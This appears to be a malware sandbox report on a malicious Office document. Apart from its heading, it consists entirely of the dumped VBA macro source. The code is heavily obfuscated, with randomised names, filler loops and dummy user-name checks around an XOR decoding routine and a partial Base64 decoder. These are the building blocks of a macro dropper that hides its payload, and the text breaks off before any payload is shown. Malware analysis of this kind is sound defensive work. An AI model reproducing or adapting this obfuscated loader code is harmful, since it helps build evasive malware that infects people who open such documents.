Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SCpxNjy9"
Public Function hRgtu7Iv(ByRef FsAHSMX15h As String, ByVal MI1MNX8sV As String) As String
Dim rpQNMsakZWT() As Byte
If Len(Application.UserName) < 161 Then
Dim VOPEZU As Collection
End If
If Len(Application.UserName) < 558 Then
Dim hFDyMH As Collection
End If
If Application.UserName = "iXjIewn7SYv" Then
MsgBox ("J5iiIrFGfOF")
Else
Dim MaXIDxDPLN8R6d As String
MaXIDxDPLN8R6d = Application.UserName
End If
If Len(Application.UserName) < 147 Then
Dim JGXVsKpkO As Collection
End If
If Application.UserName = "h9LgHkyPD0J" Then
MsgBox ("lTFrlTrohLY")
Else
Dim S6iThRKNpBvxU9 As String
S6iThRKNpBvxU9 = Application.UserName
End If
If Len(Application.UserName) < 625 Then
Dim rLBU4X As Collection
End If
Dim eijXadpbwTp() As Byte
Dim TEJvaeZOyB As String
For zRyD7Ec9 = 0 To 7
TEJvaeZOyB = TEJvaeZOyB + "M"
Next zRyD7Ec9
For GqupYDAA = 0 To 9
PsPjyu3D = PsPjyu3D + GqupYDAA
Next GqupYDAA
Dim NArmSgVVW, CRyrDeCR As Integer
NArmSgVVW = 5 + 8
For zT8M7tOiL4 = 0 To 5
CRyrDeCR = CRyrDeCR + zT8M7tOiL4
Next zT8M7tOiL4
If CRyrDeCR < zT8M7tOiL4 Then
Dim u0tpca9Q As Long
End If
If Application.UserName = "lLcgKhwmqVi" Then
MsgBox ("fsW3aLwjJ2h")
Else
Dim WUbhlmPXhL1SOw As String
WUbhlmPXhL1SOw = Application.UserName
End If
Dim YXMI2fJYfj As Long
Dim LZx6KsbT As String
For QHGQUqxztm = 0 To 9
LZx6KsbT = LZx6KsbT + "v"
Next QHGQUqxztm
Dim umYM6BodW, FL5zzCqB As Integer
umYM6BodW = 9 + 8
For fCpBvE = 0 To 6
FL5zzCqB = FL5zzCqB + fCpBvE
Next fCpBvE
If FL5zzCqB < fCpBvE Then
Dim Yk4DeDwqF As Long
End If
Dim HSQP1D As String
For ssvb9Q = 0 To 9
HSQP1D = HSQP1D + "s"
Next ssvb9Q
If Len(Application.UserName) < 968 Then
Dim g7C2fYZK As Collection
End If
If Len(Application.UserName) < 292 Then
Dim vufh8f As Collection
End If
If Len(Application.UserName) < 547 Then
Dim ToQBY8i As Collection
End If
Dim Ly3Gd6QgL As Long
Dim sOcdbwVY0 As String
For elQbWh2 = 0 To 7
sOcdbwVY0 = sOcdbwVY0 + "Q"
Next elQbWh2
For DkccS7K = 0 To 9
PEWiVN = PEWiVN + DkccS7K
Next DkccS7K
If Application.UserName = "DmBeH44Ljza" Then
MsgBox ("kALfdFUNhU4")
Else
Dim wZYVYHhcTivIQk As String
wZYVYHhcTivIQk = Application.UserName
End If
If Len(Application.UserName) < 169 Then
Dim RJkFbVs As Collection
End If
If Len(Application.UserName) < 531 Then
Dim RDt2s8 As Collection
End If
If Application.UserName = "SLzdTml2Vyh" Then
MsgBox ("y88DjlxRQmf")
Else
Dim OnleeP8b0cecvc As String
OnleeP8b0cecvc = Application.UserName
End If
If Len(Application.UserName) < 896 Then
Dim ox7uHIY4SC As Collection
End If
Dim onRs3M5 As Long
For wzT19G9z9p = 0 To 9
War7RP = War7RP + wzT19G9z9p
Next wzT19G9z9p
Dim nZKjEIwl, M9le4Pb As Integer
nZKjEIwl = 6 + 7
For d5DTQhj = 0 To 7
M9le4Pb = M9le4Pb + d5DTQhj
Next d5DTQhj
If M9le4Pb < d5DTQhj Then
Dim wEeTRt0ua As Long
End If
For NudR0nG4 = 0 To 8
Yka1LK1cIm = Yka1LK1cIm + NudR0nG4
Next NudR0nG4
For GyMetc = 0 To 6
m3LB5Rk = m3LB5Rk + GyMetc
Next GyMetc
Dim hFxyZzPR, zPZ8QC As Integer
hFxyZzPR = 7 + 7
For mmyHE8XBm = 0 To 9
zPZ8QC = zPZ8QC + mmyHE8XBm
Next mmyHE8XBm
If zPZ8QC < mmyHE8XBm Then
Dim UNsH12jd As Long
End If
Dim DEkngXLfg As Long
Dim QymL9UYJI1 As Long
For F1DUase = 9 To 15
QymL9UYJI1 = QymL9UYJI1 + F1DUase
Next F1DUase
For qIo4qptj = 0 To 7
e6b25OTOBO = e6b25OTOBO + qIo4qptj
Next qIo4qptj
If Application.UserName = "IvSKwexg2JP" Then
MsgBox ("Syq0iYbEW6h")
Else
Dim jFLgcztVWCCM92 As String
jFLgcztVWCCM92 = Application.UserName
End If
If Application.UserName = "daorLFhkRCE" Then
MsgBox ("KDSsZiEv6eg")
Else
Dim dEMUG40loWHXgX As String
dEMUG40loWHXgX = Application.UserName
End If
If Application.UserName = "YqjHHqrwdRA" Then
MsgBox ("UMJ907CTRZV")
Else
Dim IgtJXJpyq171l6 As String
IgtJXJpyq171l6 = Application.UserName
End If
If Len(Application.UserName) < 391 Then
Dim XHXyXPpBS2 As Collection
End If
If Application.UserName = "QAeBm3gemfT" Then
MsgBox ("RvsPAhDLxCR")
Else
Dim qG46MZwYsVY97X As String
qG46MZwYsVY97X = Application.UserName
End If
If Application.UserName = "dmLuR0AX9lO" Then
MsgBox ("MvHQ5BBHiYV")
Else
Dim C6Yw5wbGXfZfhL As String
C6Yw5wbGXfZfhL = Application.UserName
End If
rpQNMsakZWT = StrConv(FsAHSMX15h, vbFromUnicode)
Dim xaAbjpl As String
For mV6LgfGyQ = 0 To 8
xaAbjpl = xaAbjpl + "c"
Next mV6LgfGyQ
If Len(Application.UserName) < 585 Then
Dim WUo6osBg As Collection
End If
If Len(Application.UserName) < 943 Then
Dim wMYgHG7 As Collection
End If
If Len(Application.UserName) < 723 Then
Dim G4nBxhrT2N As Collection
End If
If Application.UserName = "QdsyWXUh9Hg" Then
MsgBox ("kMDazKQrmpY")
Else
Dim Wb6pBu3QeunbGy As String
Wb6pBu3QeunbGy = Application.UserName
End If
YXMI2fJYfj = UBound(rpQNMsakZWT)
Dim OX8jrk4tF As String
For AaU5AYyA = 0 To 5
OX8jrk4tF = OX8jrk4tF + "b"
Next AaU5AYyA
For V9Nhlwh = 0 To 9
lhmYK9FXM = lhmYK9FXM + V9Nhlwh
Next V9Nhlwh
eijXadpbwTp = StrConv(MI1MNX8sV, vbFromUnicode)
Dim SfgpCKE, AUbGUfRyO As Integer
SfgpCKE = 8 + 5
For Xbu7co = 0 To 7
AUbGUfRyO = AUbGUfRyO + Xbu7co
Next Xbu7co
If AUbGUfRyO < Xbu7co Then
Dim EKpgjES As Long
End If
If Application.UserName = "mmucjZEwjpy" Then
MsgBox ("JlhIlVbgORi")
Else
Dim qppZzMczA3ajqa As String
qppZzMczA3ajqa = Application.UserName
End If
If Len(Application.UserName) < 788 Then
Dim wVDNe0 As Collection
End If
If Application.UserName = "rgJ1jedrwaK" Then
MsgBox ("Q4tOq3a6V5C")
Else
Dim cIp8MUoM4oam7l As String
cIp8MUoM4oam7l = Application.UserName
End If
If Len(Application.UserName) < 443 Then
Dim oZlMkP As Collection
End If
Ly3Gd6QgL = UBound(eijXadpbwTp)
If Len(Application.UserName) < 569 Then
Dim J4fK8uj As Collection
End If
If Application.UserName = "Mhsx3nld2bj" Then
MsgBox ("LTjz20FwKiI")
Else
Dim DudCENQ3NUSBLy As String
DudCENQ3NUSBLy = Application.UserName
End If
If Len(Application.UserName) < 245 Then
Dim q3fjawz As Collection
End If
If Len(Application.UserName) < 736 Then
Dim rYTSnZbCS As Collection
End If
If Len(Application.UserName) < 977 Then
Dim KSwtwkl As Collection
End If
If Len(Application.UserName) < 998 Then
Dim BIsstKm As Collection
End If
If Application.UserName = "kNLmvFMZUTn" Then
MsgBox ("WVK5N5dnGMH")
Else
Dim yFy4cgNYMwrCa6 As String
yFy4cgNYMwrCa6 = Application.UserName
End If
If Len(Application.UserName) < 543 Then
Dim nj9rBiJH As Collection
End If
If Application.UserName = "prVIvYB5CtD" Then
MsgBox ("Zsf0tDJyM5e")
Else
Dim H0znU8nRDlPOez As String
H0znU8nRDlPOez = Application.UserName
End If
For onRs3M5 = 0 To YXMI2fJYfj
Dim rZDhlsIzga As Long
For dK108oDX = 9 To 12
rZDhlsIzga = rZDhlsIzga + dK108oDX
Next dK108oDX
Dim S4wgbhLy As String
For Y3rGybbrE = 0 To 8
S4wgbhLy = S4wgbhLy + "n"
Next Y3rGybbrE
If Application.UserName = "w92b7m0DHAY" Then
MsgBox ("Ay7OfOGRZQk")
Else
Dim nxn01JUSegCVq8 As String
nxn01JUSegCVq8 = Application.UserName
End If
If Application.UserName = "jOyQdCdsdqE" Then
MsgBox ("udwXBAZXAQC")
Else
Dim iB7k1PiG4dCcA5 As String
iB7k1PiG4dCcA5 = Application.UserName
End If
If Len(Application.UserName) < 216 Then
Dim J52j9B As Collection
End If
rpQNMsakZWT(onRs3M5) = rpQNMsakZWT(onRs3M5) Xor eijXadpbwTp(DEkngXLfg)
For JZZxypqH = 0 To 9
nkYjNjv = nkYjNjv + JZZxypqH
Next JZZxypqH
Dim Odjes9A As String
For T6UFXsC = 0 To 9
Odjes9A = Odjes9A + "h"
Next T6UFXsC
Dim tbw9aLUEUT As Long
For jMsEUNYsj = 8 To 18
tbw9aLUEUT = tbw9aLUEUT + jMsEUNYsj
Next jMsEUNYsj
Dim XWLYvtsp, LlfDCJqLj As Integer
XWLYvtsp = 7 + 6
For P4TcEr7Bw = 0 To 6
LlfDCJqLj = LlfDCJqLj + P4TcEr7Bw
Next P4TcEr7Bw
If LlfDCJqLj < P4TcEr7Bw Then
Dim A1QLCk As Long
End If
If Len(Application.UserName) < 878 Then
Dim fr3az7v6lH As Collection
End If
If Application.UserName = "zohPaOBr7ZG" Then
MsgBox ("nleK3fR0Wpx")
Else
Dim AlbxTMmj2eyg52 As String
AlbxTMmj2eyg52 = Application.UserName
End If
If Len(Application.UserName) < 333 Then
Dim X4cFU78 As Collection
End If
If Len(Application.UserName) < 122 Then
Dim dVoW5YWs As Collection
End If
If DEkngXLfg < Ly3Gd6QgL Then
Dim HK7Pvfij As Long
For bkYTRV319w = 5 To 16
HK7Pvfij = HK7Pvfij + bkYTRV319w
Next bkYTRV319w
If Application.UserName = "QlRQsSe2W7E" Then
MsgBox ("LJjiUrrbS4p")
Else
Dim PCn3uCi5buc2K2 As String
PCn3uCi5buc2K2 = Application.UserName
End If
If Len(Application.UserName) < 691 Then
Dim woG8ie9 As Collection
End If
DEkngXLfg = DEkngXLfg + 1
Dim FWraNJXCdT As String
For WXuriqjhj = 0 To 7
FWraNJXCdT = FWraNJXCdT + "W"
Next WXuriqjhj
For Xi22E59 = 0 To 6
b2Vuz3e = b2Vuz3e + Xi22E59
Next Xi22E59
Else
If Len(Application.UserName) < 249 Then
Dim xXl5io As Collection
End If
If Len(Application.UserName) < 777 Then
Dim APskfB As Collection
End If
If Len(Application.UserName) < 276 Then
Dim VIbbXekz5 As Collection
End If
If Len(Application.UserName) < 135 Then
Dim ZfXHtf0wT As Collection
End If
If Len(Application.UserName) < 991 Then
Dim xhsf4P As Collection
End If
If Application.UserName = "tSV2eX1D9J9" Then
MsgBox ("Nk3Tsju47zk")
Else
Dim FI95eNyUs1ZPEs As String
FI95eNyUs1ZPEs = Application.UserName
End If
DEkngXLfg = 0
For V4Wt11 = 0 To 9
l3JMTyw = l3JMTyw + V4Wt11
Next V4Wt11
If Application.UserName = "U5aN5tT4G6d" Then
MsgBox ("YNxF7QzKcwI")
Else
Dim hEj7mFAg3iY60k As String
hEj7mFAg3iY60k = Application.UserName
End If
If Application.UserName = "RBHgTGIirU6" Then
MsgBox ("Iyfh4Vne3ix")
Else
Dim XWknXuQsOnOwHv As String
XWknXuQsOnOwHv = Application.UserName
End If
If Application.UserName = "rKCfaeRDmnO" Then
MsgBox ("oY94iS1Cs1l")
Else
Dim p8ZSUnedGemC2F As String
p8ZSUnedGemC2F = Application.UserName
End If
End If
Dim x94EsjZ44s As String
For jTAvUp = 0 To 9
x94EsjZ44s = x94EsjZ44s + "w"
Next jTAvUp
Dim QWDlr9g As String
For q2zCbxtR = 0 To 5
QWDlr9g = QWDlr9g + "B"
Next q2zCbxtR
Dim luyb4Atfu As Long
For RRfaU0U = 5 To 15
luyb4Atfu = luyb4Atfu + RRfaU0U
Next RRfaU0U
Dim fcwse7DQFU, R4elbwhy As Integer
fcwse7DQFU = 6 + 5
For piemRePP = 0 To 8
R4elbwhy = R4elbwhy + piemRePP
Next piemRePP
If R4elbwhy < piemRePP Then
Dim cApGG63fdF As Long
End If
If Application.UserName = "gKX7qVwa7DL" Then
MsgBox ("edo1ZAde18t")
Else
Dim LtnWBG48S2ClaQ As String
LtnWBG48S2ClaQ = Application.UserName
End If
If Len(Application.UserName) < 633 Then
Dim vl8RFfrv As Collection
End If
If Len(Application.UserName) < 974 Then
Dim hgqNPE5k As Collection
End If
If Len(Application.UserName) < 218 Then
Dim NaYBky As Collection
End If
Next onRs3M5
Dim foezrqbT4F As String
For s67XRq = 0 To 5
foezrqbT4F = foezrqbT4F + "u"
Next s67XRq
If Len(Application.UserName) < 682 Then
Dim wPTLn6N8 As Collection
End If
If Application.UserName = "w7mv3aJ81El" Then
MsgBox ("S7NEZnH9Oq4")
Else
Dim WSd2KbsSNNGEA6 As String
WSd2KbsSNNGEA6 = Application.UserName
End If
If Application.UserName = "KhXGp1bYiL9" Then
MsgBox ("E09QpUcQtVr")
Else
Dim jVUNwFezAvxbWC As String
jVUNwFezAvxbWC = Application.UserName
End If
hRgtu7Iv = StrConv(rpQNMsakZWT, vbUnicode)
Dim JNn85D As Long
For LZGZXl2vi = 8 To 12
JNn85D = JNn85D + LZGZXl2vi
Next LZGZXl2vi
For Zh4bxkEq = 0 To 9
GvMXuxl = GvMXuxl + Zh4bxkEq
Next Zh4bxkEq
Dim IjB1LNrE As String
For WQ1VmoRt = 0 To 9
IjB1LNrE = IjB1LNrE + "t"
Next WQ1VmoRt
End Function
Public Function xDqyMZU(ByVal dezTjsBbcDCF As String) As Byte()
   Dim ZamjPlcWv As Integer, ZQd8wv6QN8 As Integer, YbxMxhE(0 To 63) As Byte, NPx6iuDIOIN(0 To 127) As Byte
If Application.UserName = "bQxGbc4my3o" Then
MsgBox ("bTak2faKNUL")
Else
Dim c7H9OvUeyPGvWV As String
c7H9OvUeyPGvWV = Application.UserName
End If
If Application.UserName = "zApEmqk4zBR" Then
MsgBox ("aVeLEJxpLVs")
Else
Dim n2ZkqQ1n1MqoeR As String
n2ZkqQ1n1MqoeR = Application.UserName
End If
If Application.UserName = "Sol8Jt3moiw" Then
MsgBox ("GQXfXg2GFnm")
Else
Dim ii1bZsNSidfn7Q As String
ii1bZsNSidfn7Q = Application.UserName
End If
If Len(Application.UserName) < 567 Then
Dim WaRtWC1EL As Collection
End If
If Application.UserName = "TxBhTQulQa8" Then
MsgBox ("qG4cQf1cteA")
Else
Dim bvUAeN67McLq2P As String
bvUAeN67McLq2P = Application.UserName
End If
   ZQd8wv6QN8 = 0
For H8V38B = 0 To 6
bvF6a1 = bvF6a1 + H8V38B
Next H8V38B
If Len(Application.UserName) < 585 Then
Dim JYRkfb As Collection
End If
If Len(Application.UserName) < 676 Then
Dim ce6CKgmNp As Collection
End If
If Application.UserName = "lOGlLV1zpa1" Then
MsgBox ("pALfEPi2lJM")
Else
Dim OeO6agwGZ8KFyx As String
OeO6agwGZ8KFyx = Application.UserName
End If
If Len(Application.UserName) < 589 Then
Dim mACKwk As Collection
End If
   For ZamjPlcWv = Asc("A") To Asc("Z"): YbxMxhE(ZQd8wv6QN8) = ZamjPlcWv: ZQd8wv6QN8 = ZQd8wv6QN8 + 1: Next
For gQKxjf1byl = 0 To 9
KKqThcTxFP = KKqThcTxFP + gQKxjf1byl
Next gQKxjf1byl
Dim baWBTJtz5f As Long
For H9LuFRX8 = 7 To 14
baWBTJtz5f = baWBTJtz5f + H9LuFRX8
Next H9LuFRX8
Dim OyauJoBI As Long
For cELlR3V = 9 To 14
OyauJoBI = OyauJoBI + cELlR3V
Next cELlR3V
If Len(Application.UserName) < 575 Then
Dim zA793grQZ2 As Collection
End If
   For ZamjPlcWv = Asc("a") To Asc("z"): YbxMxhE(ZQd8wv6QN8) = ZamjPlcWv: ZQd8wv6QN8 = ZQd8wv6QN8 + 1: Next
Dim Gts0xGOZ, sgSc59k As Integer
Gts0xGOZ = 9 + 7
For sHP1xLXQKk = 0 To 8
sgSc59k = sgSc59k + sHP1xLXQKk
Next sHP1xLXQKk
If sgSc59k < sHP1xLXQKk Then
Dim txDK0Aph As Long
End If
Dim NIwaZP, GbMW1ppKyH As Integer
NIwaZP = 7 + 7
For S2AOY2BTh = 0 To 9
GbMW1ppKyH = GbMW1ppKyH + S2AOY2BTh
Next S2AOY2BTh
If GbMW1ppKyH < S2AOY2BTh Then
Dim jmWcu23 As Long
End If
Dim xB4OVFbe As Long
For dnYZfgsVB = 7 To 13
xB4OVFbe = xB4OVFbe + dnYZfgsVB
Next dnYZfgsVB
Dim VdEeSbXQJ, gB0dy8 As Integer
VdEeSbXQJ = 8 + 6
For wxxitI = 0 To 8
gB0dy8 = gB0dy8 + wxxitI
Next wxxitI
If gB0dy8 < wxxitI Then
Dim rNKtpk As Long
End If
For mnM7KFZ76K = 0 To 6
iJmlDiwkK = iJmlDiwkK + mnM7KFZ76K
Next mnM7KFZ76K
If Application.UserName = "l1wb9ZPDnDT" Then
MsgBox ("YmDLxiKva4Y")
Else
Dim RllfspgUXd3kX7 As String
RllfspgUXd3kX7 = Application.UserName
End If
If Application.UserName = "ZyhgJueMmfW" Then
MsgBox ("QtyJlhG2KuU")
Else
Dim BSGv2r2jNVUlRN As String
BSGv2r2jNVUlRN = Application.UserName
End If
   For ZamjPlcWv = Asc("0") To Asc("9"): YbxMxhE(ZQd8wv6QN8) = ZamjPlcWv: ZQd8wv6QN8 = ZQd8wv6QN8 + 1: Next
Dim wJQanzher As String
For pnXeDOnC = 0 To 7
wJQanzher = wJQanzher + "W"
Next pnXeDOnC
Dim tX2RMF5d As Long
For PZ98Ob = 8 To 11
tX2RMF5d = tX2RMF5d + PZ98Ob
Next PZ98Ob
If Len(Application.UserName) < 692 Then
Dim ziPFFjrRb As Collection
End If
   YbxMxhE(ZQd8wv6QN8) = Asc("+"): ZQd8wv6QN8 = ZQd8wv6QN8 + 1
Dim M7M1iDQG2P As String
For TvXHbo4u = 0 To 7
M7M1iDQG2P = M7M1iDQG2P + "Q"
Next TvXHbo4u
If Application.UserName = "imOODoYOSFM" Then
MsgBox ("CadAk9RRds6")
Else
Dim Utg9Dh4waFzLHu As String
Utg9Dh4waFzLHu = Application.UserName
End If
If Len(Application.UserName) < 384 Then
Dim xLDMUbrB0 As Collection
End If
If Len(Application.UserName) < 686 Then
Dim a3J1qEbP As Collection
End If
   YbxMxhE(ZQd8wv6QN8) = Asc("/"): ZQd8wv6QN8 = ZQd8wv6QN8 + 1
For ik3yMRsnEh = 0 To 8
adgPojwR = adgPojwR + ik3yMRsnEh
Next ik3yMRsnEh
Dim Ns5oMO8Xqt As Long
For JP5Bmi8Brn = 8 To 14
Ns5oMO8Xqt = Ns5oMO8Xqt + JP5Bmi8Brn
Next JP5Bmi8Brn
Dim h4yvH0g As String
For zwLlbqweSk = 0 To 5
h4yvH0g = h4yvH0g + "d"
Next zwLlbqweSk
If Application.UserName = "fjJXlGiJgqy" Then
MsgBox ("eLyZ5BZLsnT")
Else
Dim VoCz8J3MAr0I9j As String
VoCz8J3MAr0I9j = Application.UserName
End If
   For ZQd8wv6QN8 = 0 To 127: NPx6iuDIOIN(ZQd8wv6QN8) = 255: Next
Dim lk2zpI As String
For VQxoSqS = 0 To 5
lk2zpI = lk2zpI + "d"
Next VQxoSqS
Dim ZaWyHE2, GICRBr As Integer
ZaWyHE2 = 7 + 9
For fX83Xg = 0 To 9
GICRBr = GICRBr + fX83Xg
Next fX83Xg
If GICRBr < fX83Xg Then
Dim uXB6nOXR As Long
End If
For iURkSD6QJT = 0 To 5
cBKRgL0Gu = cBKRgL0Gu + iURkSD6QJT
Next iURkSD6QJT
Dim UinFClQY, oG0y2ivf As Integer
UinFClQY = 9 + 9
For IjVB1G3J = 0 To 6
oG0y2ivf = oG0y2ivf + IjVB1G3J
Next IjVB1G3J
If oG0y2ivf < IjVB1G3J Then
Dim oGaKGJAa As Long
End If
Dim jSTCFJztme As Long
For j2nUiJZg5S = 7 To 15
jSTCFJztme = jSTCFJztme + j2nUiJZg5S
Next j2nUiJZg5S
For G4Uu373GOm = 0 To 9
zshAYNqM = zshAYNqM + G4Uu373GOm
Next G4Uu373GOm
If Len(Application.UserName) < 287 Then
Dim Uuy2a2f As Collection
End If
If Len(Application.UserName) < 479 Then
Dim eKzAnAnZ2T As Collection
End If
   For ZQd8wv6QN8 = 0 To 63: NPx6iuDIOIN(YbxMxhE(ZQd8wv6QN8)) = ZQd8wv6QN8: Next
For P35eP8gA = 0 To 8
BkJu0s = BkJu0s + P35eP8gA
Next P35eP8gA
Dim zeMSuQZ As String
For E3i5js = 0 To 5
zeMSuQZ = zeMSuQZ + "X"
Next E3i5js
Dim wBg5ORW43p, BXELVpg As Integer
wBg5ORW43p = 8 + 8
For EPs58RF2 = 0 To 8
BXELVpg = BXELVpg + EPs58RF2
Next EPs58RF2
If BXELVpg < EPs58RF2 Then
Dim XFpMJyA7j As Long
End If
Dim MhVaOC As String
For q9fIfrE = 0 To 6
MhVaOC = MhVaOC + "o"
Next q9fIfrE
Dim wT4lmbqY As String
For G2klVSWH = 0 To 9
wT4lmbqY = wT4lmbqY + "J"
Next G2klVSWH
Dim p83xdNo3 As String
For Nzk5hoG = 0 To 9
p83xdNo3 = p83xdNo3 + "t"
Next Nzk5hoG
If Len(Application.UserName) < 327 Then
Dim hD2tt2 As Collection
End If
   Dim aWxFGMR02() As Byte: aWxFGMR02 = StrConv(dezTjsBbcDCF, vbFromUnicode)
Dim p8HzcIao As String
For XoeRkVZ3 = 0 To 7
p8HzcIao = p8HzcIao + "R"
Next XoeRkVZ3
If Len(Application.UserName) < 241 Then
Dim YXxHtne As Collection
End If
   Dim q3hi6ic As Long: q3hi6ic = UBound(aWxFGMR02) + 1
Dim hLSapoccv6 As String
For KPMjPOGp = 0 To 6
hLSapoccv6 = hLSapoccv6 + "P"
Next KPMjPOGp
Dim vpbysd As String
For OZsXy6 = 0 To 5
vpbysd = vpbysd + "b"
Next OZsXy6
For H8stei = 0 To 5
q1EfluN = q1EfluN + H8stei
Next H8stei
   Do While q3hi6ic > 0
Dim ysUnPemJ08 As String
For kUyiq4s = 0 To 7
ysUnPemJ08 = ysUnPemJ08 + "D"
Next kUyiq4s
Dim l35QX7xad As String
For uv5vNPXA4 = 0 To 5
l35QX7xad = l35QX7xad + "l"
Next uv5vNPXA4
      If aWxFGMR02(q3hi6ic - 1) <> Asc("=") Then Exit Do
Dim hgg5UE As String
For RjarIDDN = 0 To 7
hgg5UE = hgg5UE + "A"
Next RjarIDDN
Dim VHKQ4hG As Long
For zJhTpG = 9 To 11
VHKQ4hG = VHKQ4hG + zJhTpG
Next zJhTpG
If Len(Application.UserName) < 828 Then
Dim gQJ9szkNLW As Collection
End If
If Application.UserName = "SeEgDhGbpnC" Then
MsgBox ("s1RHE3HDpaw")
Else
Dim WcCnxqKbhMqNk3 As String
WcCnxqKbhMqNk3 = Application.UserName
End If
If Application.UserName = "iNmiDMRIiQH" Then
MsgBox ("Ag7m0Sm0y6a")
Else
Dim B371M0tZ4YE9DJ As String
B371M0tZ4YE9DJ = Application.UserName
End If
      q3hi6ic = q3hi6ic - 1
Dim UDF1pBNrv As Long
For kwhGYz5XKK = 7 To 14
UDF1pBNrv = UDF1pBNrv + kwhGYz5XKK
Next kwhGYz5XKK
Dim DjD7f9TSD As String
For mJuspTLH = 0 To 9
DjD7f9TSD = DjD7f9TSD + "U"
Next mJuspTLH
Dim jNOkgcr As Long
For tAhmde9Yn = 7 To 10
jNOkgcr = jNOkgcr + tAhmde9Yn
Next tAhmde9Yn
Dim PBmqp9sYae, GnxlxFX As Integer
PBmqp9sYae = 6 + 7
For JTKllGBx = 0 To 8
GnxlxFX = GnxlxFX + JTKllGBx
Next JTKllGBx
If GnxlxFX < JTKllGBx Then
Dim vOqc2T As Long
End If
Dim QwDtK2Sgdx As String
For aNrLruv = 0 To 6
QwDtK2Sgdx = QwDtK2Sgdx + "T"
Next aNrLruv
If Len(Application.UserName) < 941 Then
Dim P4Q7NrFxT As Collection
End If
If Application.UserName = "czTfVOkTB8a" Then
MsgBox ("tmSy9HWZLxc")
Else
Dim qQj50AgDRPCfHN As String
qQj50AgDRPCfHN = Application.UserName
End If
If Application.UserName = "P5XtF9gUalL" Then
MsgBox ("Dio2uGs8Wl9")
Else
Dim vm12ceJDb5pfNj As String
vm12ceJDb5pfNj = Application.UserName
End If
If Application.UserName = "XlEufcXo0nl" Then
MsgBox ("fCYbaCiXuDe")
Else
Dim R701slF4OEST3G As String
R701slF4OEST3G = Application.UserName
End If
If Application.UserName = "lcPyXXEU7ow" Then
MsgBox ("uVCTwp7rbLo")
Else
Dim ZpR9Bfvj3zCtpu As String
ZpR9Bfvj3zCtpu = Application.UserName
End If
      Loop
Dim sN9wz5BgHd As String
For YyLFdXA = 0 To 5
sN9wz5BgHd = sN9wz5BgHd + "o"
Next YyLFdXA
Dim ab08YnqQv As Long
For RhUnWN5 = 8 To 12
ab08YnqQv = ab08YnqQv + RhUnWN5
Next RhUnWN5
For KUC0kB1lhm = 0 To 7
Zd1cpQ3 = Zd1cpQ3 + KUC0kB1lhm
Next KUC0kB1lhm
For CkOBvJy6 = 0 To 8
zAL6J0B = zAL6J0B + CkOBvJy6
Next CkOBvJy6
If Application.UserName = "jR6V8Z7lfhi" Then
MsgBox ("WDuUYPCBpxB")
Else
Dim HuvcBFrNkljCrb As String
HuvcBFrNkljCrb = Application.UserName
End If
If Application.UserName = "hr75GPVjIiH" Then
MsgBox ("FEvsH3nGEz4")
Else
Dim QGX1vu2ml0jhD5 As String
QGX1vu2ml0jhD5 = Application.UserName
End If
   Dim Ob7bP7 As Long: Ob7bP7 = (q3hi6ic * 3) \ 4
Dim Ajx7iCSl As String
For E6Vh3ZqX = 0 To 8
Ajx7iCSl = Ajx7iCSl + "e"
Next E6Vh3ZqX
Dim Il0KlK2 As String
For iyEbL9x = 0 To 8
Il0KlK2 = Il0KlK2 + "Q"
Next iyEbL9x
Dim ihQkZF As String
For dIlEYzyZ1 = 0 To 5
ihQkZF = ihQkZF + "U"
Next dIlEYzyZ1
If Len(Application.UserName) < 237 Then
Dim UU0TO7TP As Collection
End If
If Application.UserName = "BuXXpIj8Sxs" Then
MsgBox ("ZiUsmDEv4iy")
Else
Dim kanIQO1d2dGPVQ As String
kanIQO1d2dGPVQ = Application.UserName
End If
If Len(Application.UserName) < 371 Then
Dim qSSewXBN4O As Collection
End If
   Dim TMgEu2() As Byte
Dim kxgV6J As Long
For k21Kaj8bPV = 8 To 14
kxgV6J = kxgV6J + k21Kaj8bPV
Next k21Kaj8bPV
If Application.UserName = "kdXmWxBX6Sk" Then
MsgBox ("LAQTPXWafWD")
Else
Dim FC1pgLxfw8hytA As String
FC1pgLxfw8hytA = Application.UserName
End If
If Len(Application.UserName) < 378 Then
Dim n8JegVPAT As Collection
End If
   ReDim TMgEu2(0 To Ob7bP7 - 1) As Byte
Dim Cb6L4t92 As String
For wxCGkpPUrw = 0 To 6
Cb6L4t92 = Cb6L4t92 + "d"
Next wxCGkpPUrw
For QBx8dCAH = 0 To 7
W0TVyBXYm = W0TVyBXYm + QBx8dCAH
Next QBx8dCAH
If Application.UserName = "dOmpjjaN67C" Then
MsgBox ("hiRHfuNA8oA")
Else
Dim r7AFtL72pEnXfG As String
r7AFtL72pEnXfG = Application.UserName
End If
If Len(Application.UserName) < 262 Then
Dim DZVGjza2p As Collection
End If
   Dim XoS893nW7 As Long
Dim t8SXoj, hcwhqBkD81 As Integer
t8SXoj = 6 + 7
For fIAKeRoI = 0 To 6
hcwhqBkD81 = hcwhqBkD81 + fIAKeRoI
Next fIAKeRoI
If hcwhqBkD81 < fIAKeRoI Then
Dim blrZ2c As Long
End If
Dim IRM6d52D As Long
For lSv49w = 9 To 14
IRM6d52D = IRM6d52D + lSv49w
Next lSv49w
For vCJvVLX = 0 To 9
P26XNK = P26XNK + vCJvVLX
Next vCJvVLX
Dim wB7pZkE, akmg0Ff1Zv As Integer
wB7pZkE = 6 + 8
For RVMJqaq = 0 To 9
akmg0Ff1Zv = akmg0Ff1Zv + RVMJqaq
Next RVMJqaq
If akmg0Ff1Zv < RVMJqaq Then
Dim yi15D3R0X As Long
End If
Dim xpeUYfvGC, u0i2Gv As Integer
xpeUYfvGC = 9 + 7
For mF38GxnM = 0 To 9
u0i2Gv = u0i2Gv + mF38GxnM
Next mF38GxnM
If u0i2Gv < mF38GxnM Then
Dim xtho6PT As Long
End If
If Application.UserName = "OLnER07tzAz" Then
MsgBox ("kT0DRXOP56X")
Else
Dim wMAzl8yJNRRco5 As String
wMAzl8yJNRRco5 = Application.UserName
End If
If Application.UserName = "j0HoeCsAzHx" Then
MsgBox ("rfhViLiapTz")
Else
Dim RKxDI5fkt8EQvx As String
RKxDI5fkt8EQvx = Application.UserName
End If
If Application.UserName = "kYbWkv94aXC" Then
MsgBox ("dF5hZUHTrZN")
Else
Dim n4okKK7ydB8AMO As String
n4okKK7ydB8AMO = Application.UserName
End If
If Len(Application.UserName) < 777 Then
Dim VZVNqpbo As Collection
End If
   Dim fwxpkzmqTS As Long
